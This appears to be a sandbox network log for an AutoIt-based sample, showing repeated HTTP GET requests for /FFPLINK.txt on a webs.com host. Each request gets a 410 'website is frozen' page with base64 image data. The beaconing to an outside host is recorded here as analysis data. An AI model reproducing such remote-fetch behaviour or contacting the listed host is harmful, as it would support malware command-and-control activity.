IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:37 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:39 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:46 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:01 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:38 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:05 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:32 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:09 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:02 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:34 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:24 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI 